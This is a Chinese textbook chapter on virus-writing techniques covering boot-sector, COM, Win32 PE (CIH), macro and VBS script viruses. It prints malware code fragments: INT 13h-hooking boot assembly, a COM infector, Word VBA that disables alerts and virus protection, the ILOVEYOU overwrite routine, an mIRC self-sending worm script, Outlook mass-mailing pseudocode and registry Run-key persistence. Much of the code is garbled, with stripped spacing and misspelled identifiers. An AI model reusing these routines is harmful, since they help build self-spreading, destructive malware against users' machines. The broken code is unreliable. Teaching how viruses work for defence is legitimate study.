·操作系統(tǒng)感染了引導(dǎo)扇區(qū)病毒時(shí),磁盤0面0道1扇區(qū),即邏輯0扇區(qū)存放的是病毒引導(dǎo)部分,boot引導(dǎo)程序被放到其他地方。例如,大麻病毒在軟盤中將原DOS引導(dǎo)扇區(qū)搬移到0道1面3扇區(qū),在硬盤中將原DOS引導(dǎo)扇區(qū)搬移到0道0面7扇區(qū);香港病毒則將原DOS引導(dǎo)扇區(qū)搬移到39磁道第8扇區(qū);Michelangelo病毒在高密度軟盤上,是第27扇區(qū),在硬盤上是0道0面7扇區(qū)。

2系統(tǒng)開始運(yùn)行病毒引導(dǎo)部分,將病毒的其他部分讀入到內(nèi)存的某一安全區(qū),常駐內(nèi)存,監(jiān)視系統(tǒng)的運(yùn)行。3病毒修改INT13H中斷服務(wù)處理程序的入口地址,使之指向病毒控制模塊并執(zhí)行,以便必要時(shí)接管磁盤操作的控制權(quán)。4病毒程序全部讀入后,接著讀入正常boot內(nèi)容到內(nèi)存0000:7C00H處,進(jìn)行正常的啟動(dòng)過程(這時(shí)病毒程序已經(jīng)全不讀入內(nèi)存,不再需要病毒的引導(dǎo)部分)。5病毒程序伺機(jī)等待隨時(shí)感染新的系統(tǒng)盤或非系統(tǒng)盤。

(2)攻擊過程。病毒程序發(fā)現(xiàn)有可攻擊的對象后,要進(jìn)行下列工作:1將目標(biāo)盤的引導(dǎo)扇區(qū)讀入內(nèi)存,判斷它是否感染了病毒。2滿足感染條件時(shí),將病毒的全部或一部分寫入boot區(qū),把正常的磁盤引導(dǎo)區(qū)程序?qū)懭氪疟P特定位置。3返回正常的INT13H中斷服務(wù)處理程序,完成對目標(biāo)盤的傳染過程。

5.引導(dǎo)型病毒的編制技術(shù)個(gè)人計(jì)算機(jī)開機(jī)后,會先執(zhí)行主引導(dǎo)區(qū)代碼這一機(jī)制,給引導(dǎo)型病毒竊取第一控制權(quán)提供了機(jī)會。但是引導(dǎo)型病毒竊取控制權(quán)的時(shí)間只能是短暫的,然后就要引導(dǎo)DOS操作系統(tǒng),否則就將敗露。在竊取控制權(quán)的這段時(shí)間內(nèi),病毒的引導(dǎo)部分主要要做下列事情。(1)為病毒代碼申請內(nèi)存空間,為此要盡量減少DOS的存儲空間。相關(guān)代碼如下:…xorax,axmovess,axmovsp,7c00hmovds,axmovax,wordptrds:[413h] ;存放最大內(nèi)存空間0000:0413subax,4 ;給病毒申請4kB的內(nèi)存空間movds:[413h],ax…(2)修改傳播需要的中斷向量。相關(guān)代碼如下:

…beginprocfarpushds ;axds:axsubax,ax ;pushax movax,code ;將代碼段地址裝入ds,esmovds,ax movex,ax movax,segctrl_c ;修改向量,ds:dx指向ctrl_c子程序movds,ax ;movdx,offsetctrl_c movah,25h ;調(diào)用號ah=25Hmoval,23h ;修改中斷向量號al=23Hint21h ;系統(tǒng)調(diào)用指令…(3)讀入病毒的其他部分,進(jìn)行病毒拼裝(在內(nèi)存高端):先從已經(jīng)標(biāo)記的簇中某扇區(qū)讀入病毒的其他部分(這些簇往往被標(biāo)記為壞簇),然后再讀入原引導(dǎo)記錄到0000:7C00H處,跳轉(zhuǎn)執(zhí)行。相關(guān)代碼如下:

movcl,06h shlax,cl ;(ax)=8F80 addax,0840h ;(ax)=97c0 moves,ax movsi,7c00h ;(si)=7c00 movdi,si movcx,0100h repzmovsw ;將病毒移到高端v2: pushax popds pushaxmovbx,7c4bh pushbx ret ;指令執(zhí)行轉(zhuǎn)入高端內(nèi)存

callv3v3:xorah,ah ;(ah)=0int13h ;13H中斷調(diào)用movah,80handbyteptrds:[7df8h],al;v4:movbx,wordptrds:[7df9h];讀入病毒的其他部分pushcspopax ;(ax)=97c0subax,20h ;(ax)=97c0moves,ax ;(es)=97c0callv9movbx,wordptrds:[7df9h];加載邏輯扇區(qū)號incbx ;bx++是引導(dǎo)扇區(qū)movax,0ffc0h ;ffc0:8000=0000:7c00讀入原引導(dǎo)分區(qū)內(nèi)容

moves,ax callv9 xorax,ax ;(ax)=0 movbyteptrds:[7df7h],al;標(biāo)志清0v5: movds,ax ;(ds)=0 movax,wordptrds:[4ch] movbx,wordptrds:[4ch] ;修改中斷向量

movwordptrds:[4ch],7cd6h movwordptrds:[4ch],cs;新int13H中斷已修改

pushcs popds ;(ds)=(cs) movwordptrds:[7d30h]:ax;保存原來的int13H中斷向量

movwordptrds:[7d32h]:bx;v6: movdl,byteptrds:[7df8h];加載驅(qū)動(dòng)器盤符v7: jmp0000:7c00 ;跳轉(zhuǎn)db0eah,00h,7ch,00h,00h ;跳轉(zhuǎn)指令的二進(jìn)制代碼(4)讀入原主引導(dǎo)分區(qū),轉(zhuǎn)去執(zhí)行DOS的引導(dǎo)工作。

1.3.2COM文件型病毒編制的關(guān)鍵技術(shù)1.COM文件的特點(diǎn)這里,文件型病毒主要指DOS操作系統(tǒng)下的COM和EXE文件。首先介紹COM文件病毒程序的編制技術(shù)。COM文件具有如下特點(diǎn):(1)COM文件的存儲代碼與內(nèi)存映像完全相同COM文件是在DOS外殼上直接運(yùn)行處理器指令和內(nèi)存數(shù)據(jù)。為此,在COM文件中要包含COM程序的一個(gè)絕對映像(如圖1.4所示),并且MS-DOS要把該映像直接拷貝到內(nèi)存加載COM程序,而不做任何改變。

(2)COM文件的長度不能超過65024字節(jié)。COM文件是一種單段執(zhí)行結(jié)構(gòu)。如圖1.4所示,它要被分配在一個(gè)64k字節(jié)的空間中。這個(gè)空間中除了要存放COM文件外,還要存放一個(gè)程序段前綴PSP和一個(gè)起始堆棧。而PSP的大小為256字節(jié),起始堆棧的最小空間為256字節(jié),所以COM文件最大不能超過65024字節(jié)。(3)COM文件的第1條指令必須是程序的入口點(diǎn)。

2.COM文件的加載和啟動(dòng)(1)分配內(nèi)存:盡可能多地分配內(nèi)存空間。在DOS運(yùn)行另一個(gè)程序或分配另外的內(nèi)存空間時(shí),COM將釋放不需要的空間。(2)分配內(nèi)存成功后,DOS建立一個(gè)PSP。如果PSP的第1個(gè)FCB含有一個(gè)有效驅(qū)動(dòng)器標(biāo)識符,即置AL為00H;否則置AL為0FFH(3)在PS后面(偏移100H)加載COM文件,同時(shí)置SS、DS和ES為PSP的段地址。(4)建立堆棧。DOS通過把控制權(quán)傳遞給偏移100H處的指令啟動(dòng)程序。

3.可執(zhí)行文件病毒的傳染過程(1)文件病毒在宿主文件(.com或.exe)被執(zhí)行時(shí),駐留內(nèi)存;(2)病毒開始監(jiān)視系統(tǒng)運(yùn)行,等待被傳染目標(biāo)出現(xiàn);(3)病毒檢測可執(zhí)行文件的特定地址的標(biāo)識位,判斷該文件是否感染了病毒;(4)發(fā)現(xiàn)了被感染目標(biāo)后,利用INT13H將病毒鏈接到可執(zhí)行文件的首部、尾部或中間,并存入磁盤中;(5)完成感染后,繼續(xù)監(jiān)視系統(tǒng)的運(yùn)行,尋找新的目標(biāo)。

4.文件型病毒程序編制技術(shù)文件型病毒可以加在COM文件的前部,也可以加在COM文件的尾部。不管加在何處,都可以利用COM文件的第一條指令是程序的入口點(diǎn),使啟動(dòng)COM程序前先執(zhí)行病毒程序。方法就是對程序開始處的指令進(jìn)行修改。例如,病毒程序加在最后,就應(yīng)當(dāng)把程序開始處的指令修改成一條跳轉(zhuǎn)指令,跳轉(zhuǎn)到病毒所在的位置。等病毒程序執(zhí)行完,再把控制權(quán)交還給COM程序。當(dāng)然,實(shí)際做的工作并不這么簡單。下面是感染COM文件的典型病代碼。(1)修改了的文件頭部代碼cs:0100jmpendOfFile;db0e9h,0100h處為COM文件原來入口 ;dwCOM文件實(shí)際大小 ;endOfFile文件尾(加入病毒的位置)(2)在COM文件的尾部的病毒代碼部分…endOfFile:virusStart: ;病毒代碼

movax,orgcode mov[100],ax moval,[orgcode+2] mov[102],alvirusSize=$-virusStartresume: jmp100 ;db0e9h ;dw–(COM文件實(shí)際大小+病毒代碼大小)

orgcodedb3dup(?);原文件由0100開始的3個(gè)字節(jié)(3)代碼的進(jìn)一步完善病毒要感染COM文件,需要進(jìn)行的工作有:·首先要把開始的3字節(jié)保存到orgcode中,更改為0e9h;·

更改文件實(shí)際大小;·將resume開始的3字節(jié)改為:0e9h-(COM文件實(shí)際大小+病毒代碼大?。弧⒉《敬a寫到COM文件尾部;·進(jìn)行感染的判斷和文件大小的判斷。假設(shè):DS:DX指向VirusSize;VirusStart的定義如上。

;保存開始的4字節(jié)并改寫db90h,0e9h ;0e990h為感染標(biāo)志dwsizeofcom

感染代碼:…movax,3d01hint21h ;為讀寫打開jcOpenErrorpushdxxchgax,bxmovax,4202hxorcx,cxint21h ;移到文件尾ordx,dxjnzcomplete ;大于4字節(jié)的文件不感染cmpax,ofeeeh-ViusSIze-11jnbcompletecmpax,4jbcomplete ;小于4字節(jié)的文件也不感染movdi,offsetorgcodemov[di+6],axadd[di+6],VirusSize ;產(chǎn)生替換代碼movax,4200hxorcx,cxxordx,dxint21h ;移到文件頭movcx,4movdx,dimovah,3fhint21h ;讀出4個(gè)字節(jié)jccompletecmpwordptr[di],0e990h ;如果沒有感染,則 ;nop ;jmpXXXXjzcompletemovcx,4addah,40hint21h;在文件頭部寫4個(gè)字節(jié)

movax,4202hxorcx,cxxordx,dxint21h ;移到文件尾

movah,40hmovdx,VirusSize+11int21h ;寫入病毒代碼到COM文件中complete:movah,3fhint21h ;關(guān)閉文件ErrorOpen:…1.3.3Win32PE病毒編制的關(guān)鍵技術(shù)1.Win32PE文件格式Win32PE文件就是Win32(Windows95/98/2000/XP)環(huán)境下的PE格式(PortableExecutableFormat)的可執(zhí)行文件。為了了解病毒對它的感染機(jī)理,首先介紹PE文件的結(jié)構(gòu)和運(yùn)行機(jī)制。PE文件的格式如圖1.5所示。

(1)所有的PE文件必須以一個(gè)簡單的DOSMZ頭開始。(2)接著是一個(gè)極?。◣装賯€(gè)字節(jié))的DOS程序DOSstub,用于輸出警告,如“該程序不能在DOS模式下運(yùn)行”。當(dāng)Win32把一個(gè)PE文件映像加載到內(nèi)存時(shí),內(nèi)存映像文件的第一個(gè)字節(jié)對應(yīng)到DOSStub的第一個(gè)字節(jié)。(3)再接著是作為PE文件標(biāo)志的1024字節(jié)的PE頭。執(zhí)行體在支持PE文件的操作系統(tǒng)中執(zhí)行時(shí),PE裝載器將從DOSMZ頭中找到PE頭的偏移量。(4)PE文件的內(nèi)容部分由一些稱為段的塊組成。每段是一塊具有共同屬性的數(shù)據(jù)。段數(shù)寫在段表中。

(5)PE文件的裝載過程1PE文件被執(zhí)行時(shí),PE裝載器檢查DOSMZ頭中的PE頭騙移量。找到了,就跳轉(zhuǎn)到PE頭。2PE檢查器檢查PE頭的有效性。有效,就跳轉(zhuǎn)到PE頭的尾部。3讀取段表中的信息,通過文件映射,將段映射到內(nèi)存,同時(shí)附上段表中指定的段的屬性。4PE文件映射到內(nèi)存后,PE裝載器處理PE文件中的有關(guān)邏輯。

2.Win32PE病毒原理一個(gè)Win32PE病毒需要具有如下一些功能。(1)重定位定位主要指程序中數(shù)據(jù)的內(nèi)存存儲位置。對于正常的程序來說,數(shù)據(jù)的內(nèi)存存儲位置在編譯時(shí)就已經(jīng)計(jì)算好了,程序裝入內(nèi)存時(shí)不需要對它們重定位。病毒可能依附在宿主程序的不同位置,當(dāng)病毒隨著宿主程序裝載到內(nèi)存后,病毒中數(shù)據(jù)的位置也會隨之發(fā)生變化。由于指令是通過地址引用數(shù)據(jù)的,地址的不準(zhǔn)確將導(dǎo)致病毒程序的不正確執(zhí)行。為此,有必要對病毒代碼中的數(shù)據(jù)進(jìn)行重定位。

(2)獲取API函數(shù)地址在Win32環(huán)境中,系統(tǒng)功能調(diào)用不是通過中斷實(shí)現(xiàn),而是通過調(diào)用API函數(shù)實(shí)現(xiàn)。因此,獲取API函數(shù)的入口地址非常重要。但是,Win32PE病毒與普通的Win32PE程序不同:普通的Win32PE程序里有一個(gè)引入函數(shù)節(jié),程序通過這個(gè)節(jié)可以找到代碼段中所用的API函數(shù)在動(dòng)態(tài)鏈接庫中的真實(shí)地址。調(diào)用API函數(shù)是,可以通過該引入函數(shù)表找到相應(yīng)API函數(shù)的真正執(zhí)行地址。但是,Win32PE病毒只有一個(gè)代碼段,并不存在引入函數(shù)節(jié),因此不能直接用真實(shí)地址調(diào)用API函數(shù)。所以獲取API地址是病毒的一個(gè)重要技術(shù)。

1首先獲取Kernel32的基地址當(dāng)系統(tǒng)打開一個(gè)可執(zhí)行文件時(shí),會調(diào)用Kernel32.dll中的CreateProcess函數(shù)。CreateProcess函數(shù)在完成裝載應(yīng)用程序后,先要將一個(gè)返回地址壓入堆棧頂,然后轉(zhuǎn)向那個(gè)要裝載的應(yīng)用程序。這個(gè)應(yīng)用程序結(jié)束后,就將這個(gè)地址數(shù)據(jù)彈出到EIP中,繼續(xù)執(zhí)行。因此,要獲得API函數(shù)地址,首先要獲得Kernel32的基地址。例如利用程序的返回地址,在其附近搜索Kernel32模塊的基地址。2由已知API函數(shù)序列號或僅知的函數(shù)名,搜索API函數(shù)地址的過程

(3)搜索目標(biāo)文件通常通過兩個(gè)API函數(shù)FindFiratFilehe和FindNextFile實(shí)現(xiàn)。(4)內(nèi)存文件映射使用內(nèi)存文件映射進(jìn)行文件讀寫。(5)感染其他文件(6)返回到宿主程序。

3.Win32PE病毒實(shí)例——CIH病毒CIH病毒以Win32PE文件為攻擊對象。它開創(chuàng)了直接攻擊、破壞硬件的先例,發(fā)作時(shí)破壞FlashBIOS芯片中的系統(tǒng)程序,導(dǎo)致主板損壞,造成部分廠家的主板開機(jī)后無反應(yīng);同時(shí),使硬盤驅(qū)動(dòng)器不停地轉(zhuǎn)動(dòng),病毒以2048個(gè)扇區(qū)為單位,從硬盤主引導(dǎo)區(qū)開始依次往硬盤中寫入垃圾數(shù)據(jù),直到硬盤中的全部數(shù)據(jù)被破壞。

(1)CIH病毒的基本特點(diǎn)·

CIH病毒很短,CIHv1.2只有1003個(gè)字節(jié)?!た梢岳@過Windows的應(yīng)用程序界面,繞過ActiveX、C++和C,使用匯編,利用虛擬設(shè)備驅(qū)動(dòng)程序VxD,直接進(jìn)入Windows內(nèi)核?!げ捎盟槎垂艏夹g(shù),將病毒化整為零,插入到宿主文件中,因而不改變宿主文件大小。·利用多數(shù)BIOS芯片開放可重用性的特點(diǎn),可以向計(jì)算機(jī)主板的BIOS端口寫如亂碼。(2)CIH病毒駐留程序的駐留過程一旦要執(zhí)行帶有CIH病毒的EXE文件,由于病毒修改了該文件程序的入口地址,使調(diào)入內(nèi)存執(zhí)行的是病毒的駐留程序(長184字節(jié))。駐留的主要過程如下:1.取得IDT(中斷描述符)的基地址。2.把IDT的INT3的入口地址改為指向CIH自己的INT3入口,以獲得最高級別(Ring0級)的Windows權(quán)限(可以在Windows內(nèi)核執(zhí)行各種操作,如終止系統(tǒng)運(yùn)行、直接對內(nèi)存讀寫、截獲各種中斷、控制I/O端口等)。

3執(zhí)行INT3指令,進(jìn)入自身的INT3入口程序。具體工作為:a檢查調(diào)式寄存器DR0的值,判斷CIH病毒是否已經(jīng)駐留:

·不為0,表示CIH病毒已經(jīng)駐留,要恢復(fù)原先的INT3入口,把控制權(quán)交給Windows;

·

為0,表示尚未駐留,CIH病毒將嘗試駐留。b將當(dāng)前EBX寄存器的值賦給DR0寄存器,生成駐留標(biāo)志。c調(diào)用INT20中斷,請求系統(tǒng)分配兩頁Windows內(nèi)存,以便程序長期駐留內(nèi)存。d內(nèi)存申請成功,將破碎的病毒程序收集起來,組合后放到申請到的內(nèi)存空間中。e調(diào)用INT3入口程序,調(diào)用INT20,在windows內(nèi)核的文件處理函數(shù)中掛接鉤子,以截取文件調(diào)用操作,以便病毒的傳染部分能在第一時(shí)間截獲要求開啟的文件調(diào)用。f將同時(shí)截獲的核心文件輸入/輸出服務(wù)程序的入口地址保存到RD0寄存器中,以便CIH病毒調(diào)用。g駐留成功,恢復(fù)宿主文件正常入口,執(zhí)行宿主程序:

·恢復(fù)原來的IDT中斷表中的INT3入口,退出INT3;

·根據(jù)病毒程序隱藏的原文件的正常入口地址,跳到原來文件的正常入口。

(3)CIH病毒的感染過程CIH病毒的傳染是通過病毒主流內(nèi)存過程中,調(diào)用Windows內(nèi)核底層的IFSMgr_InstallFileSystemApiHook函數(shù)掛接鉤子時(shí),指針指示的程序段實(shí)現(xiàn)。這段程序長586字節(jié)。大致過程如下:1文件截獲:調(diào)用INT20的VxDcallUniToBCSPath系統(tǒng)功能調(diào)用,取回系統(tǒng)要開啟的文件的文件名和路徑。2EXE文件判斷:非EXE文件,不感染,離開病毒程序,跳回Windows內(nèi)核的正常文件處理程序。3PE格式判斷:取出文件標(biāo)識符進(jìn)行分析,若Signature=“00455000(OOPE00)”且未感染,就對其感染;否則,只發(fā)作。

4寄生計(jì)算:CIH病毒利用PE格式文件的文件頭和各個(gè)區(qū)都可能存在自由空間碎片,將病毒程序拆分成若干大小不等的塊,見縫插針地插到宿主文件的不同區(qū)內(nèi)。首先要技術(shù)計(jì)算有無可以存放病毒首塊的空間。沒有這樣的空間就不感染。病毒首塊包括:·病毒塊鏈表指針區(qū):8×(區(qū)數(shù)+1)字節(jié),存放每個(gè)病毒塊的首地址(每塊4字節(jié))及其長度(每塊4字節(jié));·184字的病毒駐留程序。接著將整個(gè)病毒讀入內(nèi)存,按PE文件的各區(qū)進(jìn)行計(jì)算分配。

5寫入病毒:按照計(jì)算結(jié)果,將各塊壓棧,以逆序?qū)⒏鲏K寫入到相應(yīng)自由空間。(4)CIH病毒的發(fā)作CIHv1.4在每年4月26日發(fā)作。病毒從CMOS的70、71端口取出系統(tǒng)當(dāng)前日期進(jìn)行判斷:movax,0708ut70,alinal,71 ;取當(dāng)前系統(tǒng)月份xchgal,ahout70,alinal,71 ;取當(dāng)前系統(tǒng)r日xorax,0426 ;判斷… ;jz病毒發(fā)作程序1.3.4宏病毒及其關(guān)鍵技術(shù)1.宏病毒及其發(fā)作宏是嵌入在字處理文檔或其他類型文件中的一段用宏語言編寫的可執(zhí)行程序,用戶使用宏可以完成一些重復(fù)性的工作。例如,用戶可以通過宏定義一個(gè)擊鍵序列,然后就可以通過敲擊功能鍵或特定的組合鍵來啟動(dòng)該宏,以減少在鍵盤上的直接操作。據(jù)美國國家計(jì)算機(jī)安全協(xié)會統(tǒng)計(jì),宏病毒大約占整個(gè)病毒的三分之一。宏病毒所以如此猖獗,主要原因有下列一些:(1)宏病毒感染的是文檔而不是代碼的可執(zhí)行部分宏病毒的存在和執(zhí)行,依賴于系統(tǒng)是否具有強(qiáng)大的宏語言環(huán)境。Word從6.0開始,Excel從4.0開始,數(shù)據(jù)文件中就包含了宏語言功能。而計(jì)算機(jī)中具有大量這樣的文檔文件,并且人們使用極為普遍的電子郵件往往是以文檔的形式進(jìn)行傳輸。這就為宏病毒的傳播提高了方便途徑。(2)宏病毒與平臺無關(guān)應(yīng)用極為普遍的Word和Excel是宏病毒的主要載體,所有支持Word和Excel的硬件平臺和操作系統(tǒng)都會感染宏病毒。

(3)宏病毒中有一種自動(dòng)執(zhí)行宏,它不需要用戶啟動(dòng),只要出現(xiàn)相應(yīng)的執(zhí)行事件,就可以自動(dòng)運(yùn)行。常見的自動(dòng)執(zhí)行宏有表1.1所示的一些。表1.1Windows的自動(dòng)執(zhí)行宏

表1.1Windows的自動(dòng)執(zhí)行宏WordExcelOffice97/2000AutoOpenAuto_OpenDocument_OpenAutoCloseAuto_CloseDocument_CloseAutoExcec

AutoExit

Document_NeweAutoNew

Auto_Activate

Auto_Deactivate

不僅Word和Excel,Access、PowerPoint、Visio、CoreDraw、WordPro也具有強(qiáng)大的宏語言。自Word97和Excel97之后,Microsoft逐漸將宏語言統(tǒng)一到VBA(VisualBASICforApplication)上。除了隨文件操作自動(dòng)執(zhí)行的宏,還有一類宏會隨著指定鍵或指定鍵序列的操作被自動(dòng)觸發(fā),拿到系統(tǒng)控制權(quán)下面是一個(gè)在Normal模板中的AutoNew宏。當(dāng)用戶新打開一個(gè)Word時(shí),就會彈出一個(gè)提示“新建文件自動(dòng)執(zhí)行宏示例”的窗口。SubAutoNew()MsgBox“新建文件自動(dòng)執(zhí)行宏示例”,0,“宏病毒測試”EndSub2.宏病毒的隱藏措施(1)關(guān)閉有關(guān)提示和容易引起懷疑的操作,如OnErrorResumeNext‘出錯(cuò)時(shí)不提示,繼續(xù)執(zhí)行下面語句Application.DisplayAlerts=wdAlertsNone‘不彈出警告窗口Application.DisplayStatusBar=False‘不顯示狀態(tài)欄,以免顯示宏的運(yùn)行狀態(tài)Application.EnableCancelKey=wdCancelDisabled‘不可通過ESC結(jié)束當(dāng)前運(yùn)行的宏Application.ScreenUpdating=False‘關(guān)閉屏幕刷新,以免看到病毒引起的速度變慢Options.SaveNormalPrompt=False‘若公共模塊被修改,不顯示提示窗口直接保存Options.VirusProtection=False‘關(guān)閉病毒保護(hù):若運(yùn)行前包含宏,不提示(2)屏蔽一些菜單功能(如“工具|宏”等),以免被用戶手工發(fā)現(xiàn)。

3.宏病毒的基本傳播過程(1)將宏病毒依附與一個(gè)Word文檔;(2)通過電子郵件或移動(dòng)存儲設(shè)備,把該文檔輸入到一個(gè)系統(tǒng);(3)一個(gè)被染毒的.doc文件被打開后,會通過Auto類宏來激活病毒,接著感染諸如normal.dot或powerup.dot等全局模板文件,得到系統(tǒng)的“永久”控制權(quán)。(4)宏把自身拷貝到全局宏文件中;(5)下一次啟動(dòng)Word時(shí),將激活全局宏,并在該宏執(zhí)行時(shí)會進(jìn)行自我復(fù)制并破壞系統(tǒng)。

1.3.5腳本病毒及其關(guān)鍵技術(shù)1.腳本病毒的特點(diǎn)腳本是嵌入到數(shù)據(jù)文檔中執(zhí)行一個(gè)任務(wù)的一組指令。最典型的腳本是嵌入到網(wǎng)頁中的腳本,它們可以實(shí)現(xiàn)網(wǎng)站的點(diǎn)擊計(jì)數(shù)器、格式處理器、實(shí)時(shí)時(shí)鐘、鼠標(biāo)效果、搜索引擎等功能。腳本由腳本語言描述。常用的腳本語言有:VBScript、Jscript、JavaScript、PerScript等。并且,腳本不是由CPU直接執(zhí)行,而是有某個(gè)程序解釋,如嵌入在HTML文件(網(wǎng)頁)中的腳本是由瀏覽器解釋執(zhí)行的。腳本病毒是一些嵌入在應(yīng)用程序、數(shù)據(jù)文檔和操作系統(tǒng)中的惡意腳本。腳本病毒一般嵌入在CSC(CoreDraw)、Web(HTML、HTM、HTH、PHP)、INF(information)、REG(regisry)等文件中,主要通過電子郵件和網(wǎng)頁傳播。

腳本病毒中最有代表性的是用VBScript編寫的VBS病毒。VBS病毒具有如下一些特點(diǎn):·編寫簡單、生產(chǎn)容易;·傳播范圍廣、感染力強(qiáng)、破壞力大;·欺騙性強(qiáng)、變種多。

2.腳本病毒的感染機(jī)制腳本病毒直接通過自我復(fù)制感染文件,病毒中的絕大部分代碼可以直接附加在同類程序中間。例如,新歡樂時(shí)光病毒是將自己的代碼附加在.htm的尾部,并在頂部加入一條調(diào)用病毒代碼的語句;而愛蟲病毒則直接生成一個(gè)文件的副本,將病毒代碼嵌入其中,同時(shí)將原文件名作為病毒文件的文件名前綴,以vbs作為后綴。

下面是愛蟲病毒的文件感染部分的關(guān)鍵代碼:setfso=createobject(“scripting.filesystemobject”)‘創(chuàng)建一個(gè)文件對象setself=fso.opentextfile(wscript.sriptfullname,1)’讀當(dāng)前打開文件(病毒文件)vbscopy=self.readall ’讀取全部病毒代碼到字符串變量vbscopy┇setap=fso.opentextfile(目標(biāo)文件.path,2,true) ’寫打開目標(biāo)文件,為寫病毒代碼做準(zhǔn)備ap.writevbscopy ‘用病毒代碼覆蓋目標(biāo)文件中的代碼ap.closesetcop=fso.getfile(目標(biāo)文件.path) ‘得到目標(biāo)文件路徑cop.copy(目標(biāo)文件.path&“.vbs) ‘創(chuàng)建以.vbs為后綴的病毒文件目標(biāo)文件.delete(true) ‘刪除目標(biāo)文件3.腳本病毒的文件搜索尋找滿足條件的感染對象,是病毒的一個(gè)重要機(jī)能。下面是一個(gè)設(shè)計(jì)的非常巧妙的VBS病毒的搜索函數(shù)。它采用遞歸算法遍歷整個(gè)分區(qū)的目錄和文件。subscan(folder_) ‘搜索函數(shù)scan定義

onerrorresumenext ‘跳過錯(cuò)誤,防止彈出錯(cuò)誤窗口

setfolder_=fso.getfoder(folder_) setfiles=folder_.files ‘取當(dāng)前目錄的所有文件集合

foreachfileinfiles ‘對文件集合中的每個(gè)文件進(jìn)行測試

ext=fso.GetExtensionName(file) ‘獲取文件名后綴

ext=lcase(ext) ‘小寫轉(zhuǎn)換后綴名

ifext=“mp3”then ‘以“mp3”后綴作為條件

Wscript.echo(file) ‘用來模擬病毒感染或破壞模塊

endif next setsubfolders=folder-.subfolders foreachsubfolderinsubfolders‘遞歸調(diào)用scan(),搜索其他目錄

scan(subfolder) nextendsub4.腳本病毒的傳播手段(1)通過電子郵件傳播通過電子郵件傳播的關(guān)鍵是獲得合法的電子郵件地址。下面是一個(gè)VBS病毒的傳播算法,它是直接取Outlook地址簿中的郵件地址。

setMAPI對象=Outlook對象.GetNameSpace(“MAPI”)//獲取MAPI的名字空間set地址對象=MAPI對象.地址表(i) //獲取地址表的個(gè)數(shù)for地址對象表中的每一個(gè)地址 獲取每個(gè)地址表的E-Mail地址數(shù)

for地址表中的每個(gè)E-Mail地址 獲取一個(gè)郵件地址對象實(shí)例 獲取具體E-Mail地址 填入收信人地址 寫入郵件郵件標(biāo)題 寫入郵件內(nèi)容 定義郵件附件 發(fā)送郵件 信件提交后刪除 寫病毒標(biāo)記,以免重復(fù)感染

nextnext設(shè)置MAPI對象=空設(shè)置Outlook=空(2)通過局域網(wǎng)共享傳播在VBS中有一個(gè)對象可以實(shí)現(xiàn)局域網(wǎng)鄰居共享文件夾的搜索與文件操作。利用該對象可以實(shí)現(xiàn)病毒的傳播。下面是一個(gè)簡化的傳播算法。創(chuàng)建一個(gè)網(wǎng)絡(luò)對象創(chuàng)建一個(gè)網(wǎng)絡(luò)打印機(jī)連接列表顯示每臺網(wǎng)絡(luò)打印機(jī)連接情況創(chuàng)建一個(gè)網(wǎng)絡(luò)共享連接列表尋找目標(biāo)驅(qū)動(dòng)器感染(3)通過網(wǎng)頁文件傳播這里主要介紹通過htm感染的機(jī)理。腳本病毒通過htm網(wǎng)頁傳播依賴于FSO(FileSystemObject,文件系統(tǒng)對象)和WSH(WindowsScriptHost,Windows腳本宿主)對象。WSH可以理解為內(nèi)嵌于Windows操作系統(tǒng)中的腳本語言工作環(huán)境。它較多地考慮了“非交互性腳本“的需要,使腳本功能非常強(qiáng)大,例如:·實(shí)現(xiàn)網(wǎng)絡(luò)驅(qū)動(dòng)器·檢索并修改環(huán)境變量·處理注冊表項(xiàng)·對文件系統(tǒng)進(jìn)行操作·管理員用其支持功能創(chuàng)建簡單的登陸腳本·編寫腳本管理活動(dòng)目錄這些功能主要通過內(nèi)置的WSH對象實(shí)現(xiàn)。WSH共有14個(gè)內(nèi)置對象,它們分別具有不同的功能。腳本病毒通過htm網(wǎng)頁傳播的關(guān)鍵是使FSO和WSH對象能夠在網(wǎng)頁內(nèi)運(yùn)行。通常,要先對COM進(jìn)行初始化,在獲取相應(yīng)的組件對象后,病毒就可以正確地使用FSO和WSH兩個(gè)對象。下面給出一段病毒代碼。其中{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}(WindowsScriptHostshellObject){0D43FE01-F093-11CF-8940-00A0C9054228}(FileSystemObject)是注冊表中WSH和FSO的兩個(gè)主鍵。SetAppleObject=document.applets(“KJ_guest”)AppleObject.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”)AppleObject.createInstance() ‘創(chuàng)建一個(gè)實(shí)例SetWsShell=AppleObject()AppleObject.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”)AppleObject.createInstance() ‘創(chuàng)建一個(gè)實(shí)例SetFSO=AppleObject()

(4)通過IRC聊天通道傳播這里僅以MIRC()為例來說明病毒通過IRC傳播的過程。由于控制IRC會話的命令存放在Script.ini中。并且Script.ini文件中的命令是可以自動(dòng)執(zhí)行的。因此,IRC病毒傳播的關(guān)鍵是在Script.ini文件中寫一些代碼,利用某些命令給通道中的其他用戶傳送病毒文件,使得用戶使用被感染的通道時(shí),都會收到一份病毒文件。下面是一般通過IRC傳播病毒代碼。Dimmircsetfso=CreateObject(‘Seripting.FileSystemObject”) setmirc=fso.CreateTextFile(“C:\mirc\script.ini”) ‘創(chuàng)建文件

script.ini fso.CopyFileWscript.ScriptFullName,“C:\mirc\attachmemnt.vbs”,True ‘將病毒文件備份到attachment.vbs mirc.WriteLine“[script]” mirc.WriteLine“n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nickC:\mirc\attachment.vbs}” ‘利用命令/ddcsend$nickattachment.vbs給通道中的其他用戶傳送病毒文件

mirc.Close

5.腳本病毒獲得控制權(quán)的方法獲取控制權(quán)的能力是病毒的關(guān)鍵能力,下面介紹腳本病毒獲取控制權(quán)的幾種典型方法。(1)修改注冊表Windows啟動(dòng)時(shí)會自動(dòng)加載一些程序。這些程序是下面的項(xiàng)下的鍵值所指向的程序:HKEY_LOCAL-MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run利用這一特點(diǎn),病毒也可以在此項(xiàng)下加一個(gè)鍵值,讓這個(gè)鍵值指向病毒程序,這樣就能保證在每次計(jì)算機(jī)啟動(dòng)時(shí)病毒能取得控制權(quán)。(2)修改執(zhí)行方式例如新歡樂時(shí)光將dll的執(zhí)行方式修改為wscript.exe,也可以將exe文件的映射指向病毒代碼。

